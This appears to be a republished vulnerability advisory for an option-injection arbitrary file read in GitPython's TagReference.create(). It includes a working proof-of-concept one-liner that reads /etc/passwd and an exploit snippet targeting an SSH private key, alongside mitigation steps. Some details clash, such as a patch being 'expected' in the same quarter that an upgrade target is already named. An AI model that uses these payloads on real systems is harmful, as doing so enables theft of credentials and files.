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TagReference.create() forwards a caller-influenced positional reference value into git tag without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file’s contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit 3af0c251 (the fix for GHSA-3f7w-8rr8-f37f’s tag instance).
The fix 3af0c251 added unsafe_git_tag_options = [“–file”,”-F”] and a guard call, but the guard is Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=…) at git/refs/tag.py:139 — it passes an EMPTY args list and inspects kwargs only. The dangerous values path and reference are POSITIONALS (args = (path, reference), tag.py:156), placed before any –. A user-influenced reference=”–file=
Arbitrary local file read at the privileges of the host process; contents returned in-band via tagref.tag.message. Requires the embedding application to forward a caller-influenced reference value into TagReference.create() (pure VALUE control — the CVE-2026-42215 threat model). Default allow_unsafe_options=False.
DailyCVE Form:
Platform: GitPython
Version: <=3.1.58
Vulnerability: Arbitrary File Read
Severity: Medium (CVSS 6.5)
date: 2026-09-08
Prediction: Patch expected Q3 2026
What Undercode Say:
Check vulnerable version
pip show gitpython | grep Version
Proof of concept - read /etc/passwd
python3 -c "from git import Repo, TagReference; r=Repo('.'); t=TagReference.create(r, 'pwn', reference='--file=/etc/passwd'); print(t.tag.message)"
Exploit: (Educational Purposes!)
from git import Repo, TagReference
Initialize repository
repo = Repo('/path/to/repo')
Exploit: read arbitrary file via --file
t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa")
print(t.tag.message) contents of the file
Protection:
1. Upgrade to GitPython >= 3.1.59
- Apply fix: include positional reference in option-candidate list passed to check_unsafe_options
- Place a `–` separator before positional arguments in TagReference.create()
- Sanitize user input before passing to reference parameter
Impact:
- Arbitrary local file read at host process privileges
- Contents returned in-band via tag.message
- Exposes sensitive files (/etc/passwd, .ssh/id_rsa, etc.)
- Requires embedding app to forward user-controlled reference
- Default allow_unsafe_options=False does NOT protect
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Sources:
Reported By: github.com
Extra Source Hub:
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